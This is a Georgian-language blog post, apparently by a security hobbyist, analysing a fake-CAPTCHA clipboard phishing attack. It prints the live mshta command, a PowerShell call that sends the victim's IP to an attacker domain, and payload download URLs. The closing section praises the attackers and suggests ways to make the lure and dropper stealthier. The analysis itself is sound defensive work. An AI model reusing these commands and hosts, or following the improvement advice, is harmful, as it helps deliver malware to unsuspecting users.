ფიშინგი რობოტების წინააღმდეგ!
რა მოხდა?
ერთ-ერთ საიტზე შევედი და უცებ ასეთი რამ გამოჩნდა:
მეც ამოვხსენი ეს “თავსატეხი”, მაგრამ შემდეგ ასეთი რამ გამოჩნდა:
ვის სჯერა, რომ DNS სერვერი არ მუშაობს და run-ში რაღაც უცნაური უნდა ჩაწეროს?
ანალიზის დასაწყისი
ყველაზე უცნაური აქ ისაა, რომ არაფრის დაკოპირება მოუთხოვია. შესაძლოა როდესაც “თავსატეხის” ამოხსნას დავაჭირე სწორედ მაშინ მოხდა ტექსტის clipboard-ში გადატანა. როდესაც paste ვცადე notepad-ში, ასეთი რამ გამოჩნდა:
1
mshta https://microsoft-dns-reload-6y.pages.dev # "Microsoft Windows: DNS service Reload and Restart UP
mshta არის Microsoft HTML Application ჰოსტი, რომელიც ამ უცნაური ლინკიდან წამოღებულ .hta ფაილს გაუშვებს. ახლა ისღა დამრჩენია ეს ფაილი ვიშოვო და შემდეგ ვირტუალურ მანქანაში გავაკეთო მისი ანალიზი.
აქ კარგად ჩანს თუ რის გაკეთებას ცდილობს HTML-ში ჩაშენებული VBA სკრიპტი. მოკლედ რომ ვთქვა, გაჩნდება powershell პროცესი, რომელიც base64-ში დაენკოდებული URL-ს გაუგზავნის HTTP მოთხოვნას.
აქ უკვე .exe ფაილი გამოჩნდა. რა თქმა უნდა, ამ ეტაპზე წინა .exe ფაილის ანალიზი არ დამისრულებია, მაგრამ ამ ბლოგში ვეცდები ეს ფაილი დავშალო და შევამოწმო რას აკეთებს უფრო კონკრეტულად.
Powershell-ის ანალიზი
მოკლედ, რაღაც ლინკიდან მოდის .exe ფაილი, რომელიც ინახება response-ში. ამის შემდეგ სკრიპტი ამოწმებს არსებობს თუ არა MemoryExec, რაც ნიშნავს იმას, რომ სკრიპტი ამოწმებს შეუძლია თუ არა კომპიუტერს მთლიანი binary ინფორმაციის მეხსიერებაში გადატანა და იქიდან გაშვება, ანუ ფაილის მყარ დისკზე არ შექმნა. ასეთ ფაილებს Lolbin-ები ეწოდებათ, ანუ Live Off the Land Binaries.
1
Invoke-RestMethod -Uri "https://saaadnesss.shop/connect" -Method Post -Body (@{ip = (Invoke-RestMethod -Uri "https://ifconfig.me/ip")} | ConvertTo-Json) -Headers @{ "Content-Type" = "application/json" } | Out-Null
აქ JSON მონაცემები იგზავნება POST მეთოდით და ეს ჰედერებიდანაც კარგად ჩანს:
1
Content-Type: application/json
JSON მონაცემები კი hxxps://ifconfig.me/ip-დან წამოვა. ეს საიტი შესული მოთხოვნის ანალიზს აკეთებს და უკან გარკვეულ ფორმატში აბრუნებს. ამ სკრიპტის ავტორი კი მას JSON-ად გადააქცევს ConvertTo-Json-ის გამოყენებით.
ეს ყველაზე საინტერესოა. დიდი ალბათობით ამ დომენის უკან მთავარი C2 სერვერი დგას, რომელსაც შეგვიძლია, რომ ჩავარტყათ. ვეცდები სხვა ქსელიდან ვცადო ეს ყველაფერი.
1
hxxps://polovoiinspektor.shop/protect/GodResponsibility.exe
როგორც ჩანს ფაილის სახელია GodResponsibility. არ ვიცი ასეთი არაკრეატიული სახელი რატომ ჰქვია, მაგრამ ჩემთვის სულ ერთია, მთავარია ჰოსტი ნაპოვნია.
Run() ფუნქცია კი, რომელიც HTTP სერვისიდან მიღებულ data stream-ს მეხსიერებაში ტვირთავს და შემდეგ უშვებს, პროცესის ოფციებს ასწორებს/აკონფიგურირებს. მაგალითად:
1
process.StartInfo.CreateNoWindow = true;
ეს ნიშნავს, რომ პროცესის startup info-ში(ეს ის სტარტაპი არ არის) ჩაიწერება ოფცია, რომელიც ამ პროცესის შექმნისას არ გააჩენს ფანჯრებს. ანუ, თუ მაგალითად ეს აპლიკაცია Console Application არის, ეს ნიშნავს იმას, რომ მას აუცილებლად დასჭირდება conhost.exe და მარტივად რომ ვთქვა cmd.exe-ს ფანჯარა. ეს ოფცია ამ ფანჯრის შექმნის პრევენციას მოახდენს.
1
curl https://polovoiinspektor.shop/protect/GodResponsibility.exe --output GodResponsibility.exe
ამ ბრძანებით ვიწერ მავნე კოდს და GodResponsibility.exe ფაილში ვინახავ, Desktop-ზე.
GodResponsibility.exe
ფუნქციების შემოწმებისას აქაც ჩანს ბევრი ისეთი ფუნქცია, რომელიც წინა მავნე კოდის განხილვისას აღმოვაჩინე.
ზოგი ტექსტი წინა malware-შიც აღმოვაჩინე, ასე, რომ ძალიან მაინტერესებს რა მოხდება ამ პროგრამას თუ გავუშვებ. სანამ ამას გავაკეთებ ერთხელ გადავხედავ r2.exe-თი და მერე ჩავაგდებ xdbg-ში.
ეს და წინა მავნე კოდი, NativeApp_G4QLIQRa.exe ძალიან ემთხვევიან ერთმანეთს. განსხვავება აქ ისაა, რომ წინა ვირუსი 50 მეგაბაიტზე მეტი იყო ზომაში, ხოლო ეს მხოლოდ 1.18 მეგაბაიტია.
სხვათაშორის, ეს ვირუსი 2024 წლის 17 სექტემბერსაა ხელმოწერილი Notepad++-ის მიერ. ყოველშემთხვევაში ასე წერია დეტალებში.
ეს აღმოვაჩინე. .exe-ს icon ყოფილა. დიდად ვერ ვხვდები ეს რას შეიძლება ნიშნავდეს, მაგრამ საკმაოდ საინტერესოა, როდესაც მავნე კოდში ასეთ უცნაურ რამეს პოულობს ვინმე.
ახლა შევეცდები Wireshark ჩავწერო ვირტუალურ მანქანაზე და შემდეგ ქსელს გავუთიშავ მას. აი როდესაც ამას ვიზამ Wireshark-ს ჩავრთავ და ვირუსს გავუშვებ. ვნახავ რის გაგზავნას შეეცდება და სად, ან საერთოდ თუ შეეცდება რამის გაგზავნას სადმე.
ყველაფერი აირია
სამწუხაროდ ყველაფერი აირია. ვირტუალური მანქანა გაითიშა და ის პროგრესი რაც მქონდა სულ დაიკარგა. ამასთან, ვირუსმა თავი წაიშალა. ამ ვირტუალური სისტემის ქსელთან დაკავშირება არ მსურს, რადგან შესაძლოა ვირუსი ჩემს ქსელში გავრცელდეს, ასე, რომ ამ ეტაპზე მას ასე დავტოვებ.
Attack Chain-ის შეფასება
Stage 0
საბოლოოდ, ვფიქრობ, ამ გუნდმა კარგად იმუშავა და ნამდვილად იმსახურებენ დაფასებას. სოციალური ინჟინერიის ხარისხის ძალიან მომეწონა, როდესაც Google Capcha თავიდან ააწყვეს და შემდეგ Run-ში Clipboard-დან ბრძანების ჩაწერა შემოგვთავაზეს. ასეთი რაღაცების კრიტიკოსი უნდა გავხდე.
Stage 1
კარგი იყო hxxps://microsoft-dns-reload-6y.pages.dev ლინკიც, რომელიც ყველანაირად ვალიდურად გამოიყურება. ერთადერთი, რაც ამ ყველაფერს საეჭვოს ხდის არის 6y და, ვფიქრობ, ეს უნდა მოშორდეს დომენს. ყოველშემთხვევაში მე მაგ ნაწილს არ გამოვიყენებდი სამიზნის დაბნევის დროს.
VBA სკრიპტის HTML-ში ინტეგრაცია და WScript.Shell-ის გაჩენა CreateObject-ით, ეს სტანდარტული სვლაა და იმდენად ბევრი ჰაკერი აკეთებს უკვე ამას, რომ აღარ მაოცებს. სამაგიეროდ მომეწონა მეორე დომენის სახელი, რომელიც .shop-ით ბოლოვდება და ეს, ჩემი აზრით, უფრო ვალიდურ იერსახეს მისცემს ამ კონკრეტულ დომენს.
Stage 2-3
Powershell-ს რაც ეხება კარგია, რომ დეველოპერს არ ავიწყდება მეხსიერებაში პირდაპირი ჩატვირთვის ფუნქციონალის შემოწმება მანამ, სანამ ის ამას გააკეთებს. მაგრამ არ მესმის ეს:
1
Invoke-RestMethod -Uri "https://saaadnesss.shop/connect" -Method Post -Body (@{ip = (Invoke-RestMethod -Uri "https://ifconfig.me/ip")} | ConvertTo-Json) -Headers @{ "Content-Type" = "application/json" } | Out-Null
საქმე ისაა, რომ ინფიცირებისას რაც შეიძლება ნაკლებად ხმაურიანი უნდა იყოს მავნე კოდი, იმპლანტი თუ დროპერი. აქედან გამომდინარე ისმის კითხვა: რატომ გახდა საჭირო კიდევ ორი მოთხოვნის განხორციელება?. აქ რაცაა მოცემული, მაგის გაკეთება .exe ფაილიდანაც შეიძლებოდა, მოგვიანებით.
როდესაც პირველად ჩაიტვირთა მავნე კოდი მეხსიერებაში, Task Manager-მა ის დაინახა როგორც Autoit, ასე, რომ მაგაშიც ერთ ქულას დავწერ:
მოკლედ, რომ შევაჯამო, საკმაოდ საინტერესო შეტევის მეთოდია და ნამდვილად იმსახურებს ეს მეთოდი განვითარებას.







